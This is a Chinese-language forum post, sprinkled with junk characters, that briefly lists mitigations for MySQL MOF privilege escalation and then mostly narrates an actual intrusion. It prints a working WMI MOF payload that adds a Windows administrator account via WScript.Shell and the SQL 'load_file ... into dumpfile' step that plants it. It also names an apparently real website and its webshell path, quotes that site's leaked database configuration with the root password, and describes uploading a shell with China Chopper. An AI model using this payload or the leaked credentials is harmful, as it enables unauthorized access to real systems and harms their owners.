Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
% _4 j* P3 y1 v+ c9 l: w$ N
) z( r0 F/ Z- r8 f4 n8 H网上公开的一些利用代码:
: {% y  |; f9 [" b: M) d
5 S+ |  v" j: S+ H  h- O3 a#pragma namespace(“\\\\.\\root\\subscription”)
- X. r- y8 f, q5 @1 K
% u* l" X# F& Pinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
- \  d$ x% {) F6 e' B* J- X! ]6 x$ N


! ^; }7 X$ Y% T0 Q5 n, b' U3 t* |

连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
/ Y" f! S/ ^2 V: w( l: ?. m8 h从上面代码来看得出解决办法：

& l9 Q2 F! w4 I+ F0 M* t1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

+ T) T8 g+ Z" d5 m- t2 @3 O4 I8 l当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
9 Z/ K7 z8 x2 z: D9 Q/ y
. v1 I7 f4 w% X, R' t但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
5 r* y% }/ v8 R( e0 i
看懂了后就开始练手吧
" N, Y( s: c# i
  b% ?5 C$ z! E; ?0 K! b2 g) Zhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
8 |+ t& _5 a) o
# z2 U, Q1 c- v: ]( g8 W& B/ F$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。

于是直接用菜刀开搞

上马先
$ [$ r4 M5 H, E2 w& s: U( v) ]& N0 {
既然有了那些账号 之类的 于是我们就执行吧…….
: F% s) q! y5 [. _; s) t$ m
% V1 T1 h7 z3 ?小小的说下

在这里第1次执行未成功        原因未知

我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

4 ~& U1 \8 p- c) ?  t& S2 Z: P1 K#pragma namespace(“\\\\.\\root\\subscription”)
- g* ?% _8 B6 R
* L3 l  Y! k& Z% Qinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

1 m: T- O- G1 |& l我是将文件放到C:\WINDOWS\temp\1.mof

! w# ~( q: X' S+ A- K所以我们就改下执行的代码
/ a3 O1 m8 X- x9 e, Q
& u) J4 |: y$ Eselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! g, m( l' w$ d  @) j

. b" ^1 W' t3 l
" c) f" {9 U) P; `5 V但是 你会发现账号还是没有躺在那里。。

2 J1 c  M: d4 R# e3 y+ M3 {; {! l于是我就感觉蛋疼
3 R$ m3 u7 D6 H
就去一个一个去执行 但是执行到第2个 mysql时就成功了………

) K) ]* \* ^, ]5 b" u  L8 Z

* D' v0 `+ L" w但是其他库均不成功…

6 A! ?, J4 D- x  V3 U7 k% a  ]我就很费解呀 到底为什么不成功求大牛解答…

7 f; B  s( u1 a5 k  w​